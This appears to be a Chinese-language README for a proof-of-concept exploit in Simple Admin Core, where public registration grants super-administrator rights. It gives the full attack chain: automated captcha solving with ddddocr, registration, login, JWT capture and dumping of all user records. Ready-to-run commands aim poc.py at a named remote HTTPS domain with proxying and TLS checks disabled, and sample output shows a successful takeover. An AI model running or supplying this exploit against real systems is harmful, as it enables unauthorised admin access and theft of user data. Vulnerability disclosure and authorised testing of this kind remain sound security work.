任意用户注册即超级管理员 — PoC
| 作者 | 修订时间 |
|---|---|
| 2026-08-29 00:22:46 |
Simple Admin Core 公开注册接口 /user/register 无任何鉴权/风控,注册即绑定配置项
ProjectConf.DefaultRoleId(默认 1)对应角色;初始化数据中角色 1 = role.admin
(code 001,超级管理员),且被初始化 Casbin 策略授予全部 API 路径权限。
攻击者仅需用 ddddocr 自动识别 5 位图形验证码即可注册超级管理员账号。
文件
| 文件 | 说明 |
|---|---|
poc.py | 全链路 PoC:ddddocr 识别验证码 → 注册 → 登录 → JWT 取证 → 调用 /user/list 获取全部用户证明(自动忽略 TLS 证书校验) |
requirements.txt | 依赖:ddddocr requests numpy pillow |
使用
pip install -r requirements.txt
# 默认目标: http://127.0.0.1:5666 (API 前缀 /sys-api 已内置, 无需追加)
python3 poc.py
# 远程 HTTPS 目标 (自动忽略 TLS 证书校验)
python3 poc.py --target https://bbxt.greenelectricity.cn
# 走代理 (HTTP/SOCKS)
python3 poc.py --target https://bbxt.greenelectricity.cn --proxy http://127.0.0.1:7890
# 指定账号
python3 poc.py --username poc_admin --password 'Test@123456' --email [email protected]
参数说明:
| 参数 | 说明 |
|---|---|
--target | 目标主机根地址(HTTP/HTTPS 均可),默认 http://127.0.0.1:5666;/sys-api 前缀已写死在代码中,无需在 --target 中追加 |
--proxy | 代理地址,如 http://127.0.0.1:7890、socks5://127.0.0.1:1080 |
--username / --password / --email | 注册账号信息(默认随机用户名与邮箱) |
PoC 默认忽略 TLS 证书校验(
verify=False),适用于证书域名不匹配的目标。 验证账号默认随机命名,请测试完成后在系统中手动删除。
攻击链
GET /captcha (公开) -> captchaId + 验证码图片 (base64Captcha digit, 5位数字)
ddddocr 识别验证码
POST /user/register (公开, 无 JWT) -> 新用户 RoleIds=[1] (role.admin / code 001 / 超级管理员)
POST /user/login (公开) -> JWT payload: roleId="001"
POST /user/list (需 JWT) -> Casbin 放行, 可获取全部用户数据, 证明利用成功
实测结果(2026-08-28,本地授权环境)
[+] 验证码识别成功 captchaId=22bj0Hc7GVF6HnaAxTjb captcha=50765
[+] 注册成功: username=poctestlist01 msg=注册成功
[+] 登录成功 userId=01a0492d-25ed-73bf-b946-6f7e9f44c413
[+] JWT payload: {"deptId":1,"exp":...,"iat":...,"roleId":"001","userId":"01a0492d-..."}
[+] 管理员接口 /user/list 访问成功: 共 7 个用户
- poctestlist01 (...)
- admin (id=01a04893-..., [email protected]) ← 系统内置超级管理员
[+] [漏洞确认] 匿名注册的账号可直接获得超级管理员权限, 可获取全部用户数据